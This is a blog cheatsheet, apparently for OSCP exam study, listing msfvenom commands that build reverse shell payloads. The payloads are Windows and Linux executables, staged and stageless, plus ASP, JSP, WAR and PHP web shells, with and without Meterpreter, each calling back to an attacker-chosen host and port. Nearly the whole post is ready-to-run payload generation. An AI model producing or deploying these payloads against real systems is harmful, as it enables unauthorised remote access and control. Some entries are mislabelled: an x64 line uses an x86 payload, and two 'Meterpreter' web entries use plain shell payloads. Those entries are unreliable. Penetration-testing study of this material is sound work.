Infinite Logins

TIPS & TRICKS

MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter)

Posted on January 25, 2020October 23, 2020 by Harley in Tips & Tricks

---

There are tons of cheatsheets out there, but I couldn't find a comprehensive one that includes non-Meterpreter shells. I will include both Meterpreter, as well as non-Meterpreter shells for those studying for OSCP.

Table of Contents:

Non-Meterpreter Binaries

Staged Payloads for Windows

x86	`msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe`
x64	`msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe`

Stageless Payloads for Windows

x86	`msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe`
x64	`msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe`

Staged Payloads for Linux

x86	`msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf`
x64	`msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf`

Stageless Payloads for Linux

x86	`msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf`
x64	`msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf`

Non-Meterpreter Web Payloads

asp	`msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp`
jsp	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp`
war	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war`
php	`msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php`

Meterpreter Binaries

Staged Payloads for Windows

---

x86	`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe`
x64	`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe`

Stageless Payloads for Windows

x86	`msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe`
x64	`msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe`

Staged Payloads for Linux

x86	`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf`
x64	`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf`

Stageless Payloads for Linux

x86	`msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf`
x64	`msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf`

Meterpreter Web Payloads

asp	`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp`
jsp	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp`
war	`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war`
php	`msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php`

Donations and Support:
Like my content? Please consider supporting me on Patreon:
https://www.patreon.com/infinitelogins